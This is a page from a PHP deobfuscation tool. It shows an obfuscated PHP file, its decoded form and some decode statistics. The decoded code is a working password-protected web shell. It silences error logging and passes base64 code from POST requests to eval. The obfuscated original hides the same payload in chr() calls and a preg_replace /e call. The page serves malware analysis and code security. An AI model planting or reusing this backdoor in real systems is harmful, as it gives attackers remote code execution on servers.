Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
..
Decoded Output download
@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
foreach ($_POST as $var)
{
if (!isset($code)) $code = $var;
elseif (!isset($pass)) $pass = $var;
else break;
}
if ($pass == "YkLCTG7e0JgXIJFbEvPGK6RpEq3b8U4X")
{
eval(base64_decode($code));
}
}
exit;Did this file decode correctly?
Original Code
$o7mf=chr(112)."reg\x5F".chr(114)."\x65\x70".chr(108)."\x61\x63\x65";$r376q2=chr(101)."\x76".chr(97)."\x6C\x28\x62a\x73".chr(101)."6\x34\x5fde".chr(99)."\x6F".chr(100)."\x65\x28".chr(34).chr(81)."G\x56".chr(121)."c".chr(109)."9yX".chr(51)."Jl\x63G\x39".chr(121)."dG".chr(108)."u\x5a".chr(121).chr(103)."\x77\x4B\x54sK".chr(81)."Gl\x75".chr(97)."\x56".chr(57).chr(122).chr(90)."X\x51oIm".chr(82)."p".chr(99).chr(51)."B".chr(115)."YX\x6C".chr(102)."\x5a".chr(88)."\x4ay\x62\x33J".chr(122).chr(73)."i".chr(119)."\x77\x4bTs\x4bQ\x47\x6cua\x569".chr(122)."Z\x58".chr(81)."o\x49\x6D".chr(120)."v".chr(90).chr(49).chr(57)."lc\x6E\x4avc\x6e".chr(77)."\x69LDA".chr(112).chr(79).chr(119)."\x70\x41a\x575".chr(112)."X3N\x6C\x64".chr(67).chr(103)."i\x5aXJy".chr(98)."3\x4A\x66\x62G".chr(57)."\x6e\x49i\x77\x77\x4bTs\x4b".chr(67).chr(109).chr(108)."mIChp".chr(99).chr(51).chr(78)."ld\x43\x67".chr(107)."\x58\x31\x42".chr(80)."\x55".chr(49)."\x51p\x49".chr(67)."\x59\x6DI\x47\x6C\x7aX".chr(50)."F\x79\x63\x6dF".chr(53)."\x4BC\x52f".chr(85).chr(69)."\x39\x54\x56\x43\x6Bg\x4a\x69Y\x67Y2".chr(57)."1bn".chr(81)."oJF9Q\x54\x31\x4e\x55\x4bT4x\x4BQ".chr(112)."7C".chr(103)."l".chr(109)."\x623".chr(74)."\x6cY".chr(87)."\x4E".chr(111).chr(73)."C".chr(103)."\x6b".chr(88)."1".chr(66)."\x50".chr(85)."\x31Q\x67".chr(89).chr(88)."M\x67\x4aHZ\x68\x63\x69\x6b\x4BC".chr(88)."\x73".chr(75)."C".chr(81)."l\x70\x5ai".chr(65)."\x6F".chr(73).chr(87).chr(108)."\x7A\x63\x32V0\x4b".chr(67)."\x52".chr(106).chr(98)."\x32R\x6C\x4bSkg".chr(74).chr(71).chr(78).chr(118).chr(90)."G".chr(85).chr(103)."PS\x41".chr(107)."dmF\x79\x4f".chr(119).chr(111)."JC".chr(87)."Vs\x63".chr(50).chr(86).chr(112)."Zi\x41\x6F\x49\x57lzc2V\x30".chr(75)."\x43\x52wYX\x4e\x7AK\x53".chr(107)."\x67J".chr(72)."\x42\x68\x633M".chr(103).chr(80)."S\x41\x6b".chr(100).chr(109).chr(70).chr(121)."\x4F\x77\x6F".chr(74)."\x43\x57V".chr(115).chr(99).chr(50)."\x55gYn".chr(74)."\x6c\x59\x57".chr(115)."\x37\x43\x67".chr(108)."9".chr(67).chr(103)."o".chr(74).chr(97)."\x57\x59g\x4B".chr(67)."\x52wY\x58".chr(78)."\x7A".chr(73)."D".chr(48)."\x39I".chr(67).chr(74)."\x5a\x61".chr(48)."x\x44".chr(86)."\x45c".chr(51)."\x5AT".chr(66)."\x4B".chr(90).chr(49)."\x68".chr(74).chr(83)."\x6b\x5a".chr(105)."RXZ\x51\x520".chr(115).chr(50).chr(85)."n\x42".chr(70)."cTN\x69".chr(79).chr(70)."\x550".chr(87).chr(67)."\x49\x70".chr(67)."\x67l\x37\x43\x67\x6b\x4a".chr(90)."\x58".chr(90)."h\x62\x43h\x69Y".chr(88)."\x4e\x6c".chr(78).chr(106).chr(82)."\x66\x5aG\x56\x6A".chr(98).chr(50)."RlK\x43\x52\x6a\x62".chr(50)."\x52\x6c\x4bSk\x37\x43\x67\x6c".chr(57)."\x43".chr(110)."\x30K\x5A\x58".chr(104)."\x70\x64".chr(68)."\x73".chr(61)."\x22)\x29\x3b";$i6k8e="/3\x65\x39".chr(98)."a5\x66".chr(50).chr(101).chr(54)."\x32\x32".chr(53)."2\x31".chr(100)."b\x35\x65".chr(49)."\x65\x320\x398\x37\x32".chr(48).chr(51)."6\x34".chr(101)."/e";$o7mf($i6k8e,$r376q2,"3\x65".chr(57)."b".chr(97)."5f2".chr(101).chr(54)."2\x32\x3521".chr(100).chr(98)."\x35e".chr(49)."e20\x39".chr(56).chr(55)."\x32\x30".chr(51).chr(54)."\x34".chr(101));
Function Calls
| chr | 179 |
| preg_replace | 1 |
| base64_decode | 1 |
Stats
| MD5 | c6c2cc1206bda50aac48d269587db169 |
| Eval Count | 2 |
| Decode Time | 209 ms |